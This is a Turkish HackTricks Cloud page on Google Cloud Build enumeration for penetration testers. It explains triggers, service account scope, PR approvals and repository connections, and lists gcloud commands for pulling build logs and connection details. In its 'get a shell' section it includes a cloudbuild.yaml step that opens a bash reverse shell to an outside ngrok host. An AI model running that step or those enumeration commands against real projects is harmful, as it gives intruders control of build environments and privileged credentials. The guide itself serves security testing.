GCP - Cloud Build Enum
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
Temel Bilgiler
Google Cloud Build, yazılım derleme ve dağıtım süreçlerini otomatikleştiren yönetilen bir CI/CD platformudur, kaynak kodu depoları ile entegre olur ve geniş bir programlama dili yelpazesini destekler. Geliştiricilerin kodu otomatik olarak derlemesine, test etmesine ve dağıtmasına olanak tanırken, derleme adımlarını ve iş akışlarını özelleştirme esnekliği sağlar.
Her Cloud Build Trigger, bir Cloud Repository ile ilişkilidir veya doğrudan bir dış depo ile bağlantılıdır (Github, Bitbucket ve Gitlab).
Tip
Github/Bitbucket token’ını buradan veya Cloud Repositories’ten çalmanın bir yolunu göremedim çünkü repo indirildiğinde https://source.cloud.google.com/ URL’si üzerinden erişiliyor ve Github istemci tarafından erişilmiyor.
Olaylar
Cloud Build, aşağıdaki durumlarda tetiklenebilir:
- Bir dala push: Dalı belirtin
- Yeni bir etiket push: Etiketi belirtin
- Pull request: PR’yi alan dalı belirtin
- Manuel İkame
- Pub/Sub mesajı: Konuyu belirtin
- Webhook olayı: HTTPS URL’si açılacak ve istek bir gizli anahtar ile kimlik doğrulaması yapılmalıdır
İcra
3 seçenek vardır:
- İcra edilecek komutları belirten bir yaml/json. Genellikle:
/cloudbuild.yaml - Web konsolunda ve cli’de “inline” olarak belirtilebilen tek seçenek
- En yaygın seçenek
- Kimlik doğrulaması yapılmamış erişim için ilgili
- Bir Dockerfile oluşturmak için
- Bir Buildpack oluşturmak için
SA İzinleri
Hizmet Hesabı cloud-platform kapsamına sahiptir, bu nedenle tüm ayrıcalıkları kullanabilir. Eğer hiçbir SA belirtilmemişse (örneğin submit yaparken) varsayılan SA <proj-number>@cloudbuild.gserviceaccount.com kullanılacaktır.
Varsayılan olarak hiçbir izin verilmez ama bazılarını vermek oldukça kolaydır:
.png)
Onaylar
Bir Cloud Build’in derleme icraları için onay gerektirecek şekilde yapılandırılması mümkündür (varsayılan olarak devre dışı).
PR Onayları
Tetkik PR olduğunda, çünkü herkes kamu depolarına PR yapabilir, sadece herhangi bir PR ile tetikleyicinin icrasına izin vermek çok tehlikeli olurdu. Bu nedenle, varsayılan olarak, icra yalnızca sahipler ve işbirlikçiler için otomatik olacaktır, ve diğer kullanıcıların PR’leri ile tetikleyiciyi icra etmek için bir sahip veya işbirlikçi /gcbrun yorumunu yapmalıdır.
.png)
Bağlantılar & Depolar
Bağlantılar aşağıdakiler üzerinden oluşturulabilir:
- GitHub: Github token’ı almak için izin isteyen bir OAuth istemi gösterecektir ve bu token Secret Manager içinde saklanacaktır.
- GitHub Enterprise: Bir GithubApp yüklemesi istenecektir. GitHub Enterprise sunucunuzdan bir kimlik doğrulama token’ı oluşturulacak ve bu proje içinde bir Secret Manager sırrı olarak saklanacaktır.
- GitLab / Enterprise: API erişim token’ını ve Okuma API erişim token’ını sağlamanız gerekir ve bu token Secret Manager içinde saklanacaktır.
Bir bağlantı oluşturulduğunda, bunu Github hesabının erişim sağladığı depoları bağlamak için kullanabilirsiniz.
Bu seçenek buton aracılığıyla mevcuttur:
.png)
Tip
Bu yöntemle bağlantılı depolar yalnızca 2. nesil tetikleyicilerde mevcuttur.
Bir Depoyu Bağla
Bu, bir bağlantı ile aynı değildir. Bu, Github veya Bitbucket deposuna erişim sağlamak için farklı yollar sunar ancak bir bağlantı nesnesi oluşturmaz, ancak bir depo nesnesi (1. nesil) oluşturur.
Bu seçenek buton aracılığıyla mevcuttur:
.png)
Depolama
Bazen Cloud Build, tetikleyici için dosyaları saklamak üzere yeni bir depolama alanı oluşturacaktır. Bu, örneğin GCP’nin sunduğu örnekte olduğu gibi gerçekleşir:
git clone https://github.com/GoogleCloudBuild/cloud-console-sample-build && \
cd cloud-console-sample-build && \
gcloud builds submit --config cloudbuild.yaml --region=global
Bir .tgz dosyasını depolamak için security-devbox_cloudbuild adlı bir Depolama kovası oluşturulmuştur.
Shell al
steps:
- name: bash
script: |
#!/usr/bin/env bash
bash -i >& /dev/tcp/5.tcp.eu.ngrok.io/12395 0>&1
options:
logging: CLOUD_LOGGING_ONLY
cloud build içinde gcloud’u kurun:
# https://stackoverflow.com/questions/28372328/how-to-install-the-google-cloud-sdk-in-a-docker-image
curl https://dl.google.com/dl/cloudsdk/release/google-cloud-sdk.tar.gz > /tmp/google-cloud-sdk.tar.gz
mkdir -p /usr/local/gcloud
tar -C /usr/local/gcloud -xvf /tmp/google-cloud-sdk.tar.gz
/usr/local/gcloud/google-cloud-sdk/install.sh
Enumeration
Build yapılandırmalarında ve günlüklerde hassas bilgiler bulabilirsiniz.
# Get configured triggers configurations
gcloud builds triggers list # Check for the words github and bitbucket
gcloud builds triggers describe <trigger-name>
# Get build executions
gcloud builds list
gcloud builds describe <build-uuid> # Get even the build yaml if defined in there
gcloud builds log <build-uuid> # Get build logs
# List all connections of each region
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build connections in region: $region"
connections=("${(@f)$(gcloud builds connections list --region="$region" --format='value(name)')}")
if [[ ${#connections[@]} -eq 0 ]]; then
echo "No connections found in region $region."
else
for connection in $connections; do
echo "Describing connection $connection in region $region"
gcloud builds connections describe "$connection" --region="$region"
echo "-----------------------------------------"
done
fi
echo "========================================="
done
# List all worker-pools
regions=("${(@f)$(gcloud compute regions list --format='value(name)')}")
for region in $regions; do
echo "Listing build worker-pools in region: $region"
gcloud builds worker-pools list --region="$region"
echo "-----------------------------------------"
done
Yetki Yükseltme
Kimlik Doğrulaması Olmayan Erişim
GCP - Cloud Build Unauthenticated Enum
Sömürü Sonrası
GCP - Cloud Build Post Exploitation
Tip
AWS Hacking’i öğrenin ve pratik yapın:
HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking’i öğrenin ve pratik yapın:HackTricks Training GCP Red Team Expert (GRTE)
Az Hacking’i öğrenin ve pratik yapın:HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- Abonelik planlarını kontrol edin!
- Katılın 💬 Discord group veya telegram group veya Twitter’da bizi takip edin 🐦 @hacktricks_live.
- PR göndererek hacking tricks paylaşın: HackTricks ve HackTricks Cloud github repos.
HackTricks Cloud

